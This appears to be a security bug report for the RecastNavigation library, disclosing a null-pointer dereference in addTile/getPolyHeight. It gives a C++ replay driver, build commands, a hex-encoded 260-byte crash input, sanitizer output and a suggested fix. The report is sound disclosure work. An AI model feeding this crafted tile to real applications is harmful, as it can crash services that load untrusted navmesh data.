[Bug]dtPoly::getType() null member access: invalid header leaves poly pointer null (CWE-476)
Summary
When addTile parses a crafted tile, the polys pointer stored in the tile can point at (or past) a null address. getPolyHeight (DetourNavMesh.cpp:687) then calls poly->getType(), whose inline dtPoly::getType() (DetourNavMesh.h:187) dereferences the null/truncated this pointer. ASan reports a SEGV READ at address 0x29f; UBSan reports member call on null pointer of type dtPoly``. 5 crash samples share this root cause.
- Affected versions: RecastNavigation master
9f4ce64458dfae86e1239c525ddc219c4e9e06f1(all releases to date) - Severity: High
- CWE: CWE-476 (NULL Pointer Dereference)
Detail
Affected code
inline unsigned int dtPoly::getType() const
{
return (unsigned int)(flags & DT_POLYTYPE_OFFMESH_CONNECTION); /* line 187: READ on null/truncated this */
}called from getPolyHeight (DetourNavMesh.cpp:687:12).
Root cause: addTile stores into the tile a polys pointer derived from attacker-controlled count fields and never validates that it points inside the tile allocation. For a crafted tile the resulting dtPoly* is null or truncated; getPolyHeight dereferences poly->getType() on it, faulting inside the zero page (SEGV at 0x29f).
Build the reproducer
- Clone RecastNavigation and check out the affected commit:
git clone https://github.com/recastnavigation/recastnavigation.git
cd recastnavigation
git checkout 9f4ce64458dfae86e1239c525ddc219c4e9e06f1- Save this standalone replay driver as
dbg_addtile.cpp(calls the publicdtNavMesh::addTileAPI on every file argument):
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <vector>
#include "DetourNavMesh.h"
int main(int argc, char** argv) {
for (int i = 1; i < argc; ++i) {
FILE* f = fopen(argv[i], "rb");
if (!f) return 2;
fseek(f, 0, SEEK_END); long n = ftell(f); rewind(f);
std::vector<unsigned char> buf((size_t)n);
fread(buf.data(), 1, (size_t)n, f);
fclose(f);
dtNavMesh mesh;
dtNavMeshParams params;
memset(¶ms, 0, sizeof(params));
params.tileWidth = 1.0f; params.tileHeight = 1.0f;
params.maxTiles = 8; params.maxPolys = 64;
dtStatus is = mesh.init(¶ms);
printf("=== %s (%ld B) init=%08x ", argv[i], n, is);
unsigned char* b = (unsigned char*)malloc(n);
memcpy(b, buf.data(), n);
dtTileRef result = 0;
dtStatus st = mesh.addTile(b, (int)n, 0, 0, &result);
printf("addTile=%08x result=%08x\n", st, result);
free(b);
}
return 0;
}- Compile with ASan + UBSan (
dbg_addtile):
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=address,undefined -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNavMeshQuery.cpp \
Detour/Source/DetourNode.cpp -o dbg_addtileFor a pure-UBSan report of the UB findings, build a second binary without ASan and with the trap flags:
clang++ -std=c++11 -fno-rtti -fno-exceptions -fsanitize=undefined -fno-sanitize-recover=all -g \
-I Detour/Include dbg_addtile.cpp \
Detour/Source/DetourAlloc.cpp Detour/Source/DetourAssert.cpp \
Detour/Source/DetourCommon.cpp Detour/Source/DetourNavMesh.cpp \
Detour/Source/DetourNavMeshBuilder.cpp Detour/Source/DetourNode.cpp \
-o dbg_addtile_ubonlyPOC (tested on the unmodified source)
Save the 260-byte POC:
python3 -c "open('poc.bin','wb').write(bytes.fromhex('56414e440700000000000000000000000000000000000000010000000300000001000000010000000000000001000000020000000100000001000000000000409a99193f6666663f0000000000000000000000000000f0410000f0410000f0410000a0400000000000000400000000000000803f000000000000000000000000000000000000803f00000000000001000200ffffffffffff0000000000000000000000000100030000000000000000000000000000000000000000000001000000000200000000000000ffffffffffff540000000000000000000000000000ff00ffffffcdcccc3d00000000cdcccc3dcdcc4c3e00000000cdcc4c3e0000803f00000000'))"Run:
./dbg_addtile poc.binTrigger result
Verified on the unmodified source (AddressSanitizer):
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3112182==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000029f (pc 0x55c49b2fe61d bp 0x7ffc00a12f90 sp 0x7ffc00a12f70 T0)
==3112182==The signal is caused by a READ memory access.
==3112182==Hint: address points to the zero page.
#0 0x55c49b2fe61d in dtPoly::getType() const .../Detour/Include/DetourNavMesh.h:187:48
#1 0x55c49b2f229d in dtNavMesh::getPolyHeight(dtMeshTile const*, dtPoly const*, float const*, float*) const .../Detour/Source/DetourNavMesh.cpp:687:12
#2 0x55c49b2f3d06 in dtNavMesh::closestPointOnPoly(unsigned int, float const*, float*, bool*) const .../Detour/Source/DetourNavMesh.cpp:741:6
SUMMARY: AddressSanitizer: SEGV .../Detour/Include/DetourNavMesh.h:187:48 in dtPoly::getType() const
(UBSAN 变体:runtime error: member call on null pointer of type 'dtPoly')- Replay exit code:
1(abort/trap) - Deterministic: yes — 5 crash sample(s) (id:000017, id:000018, id:000019, id:000039, id:000042) all reproduce the same root cause
Suggested fix
Address the root cause in addTile (all sub-pointers validated before commit), with defense-in-depth in getPolyHeight:
if (poly == 0)
return false;Source: recastnavigation/recastnavigation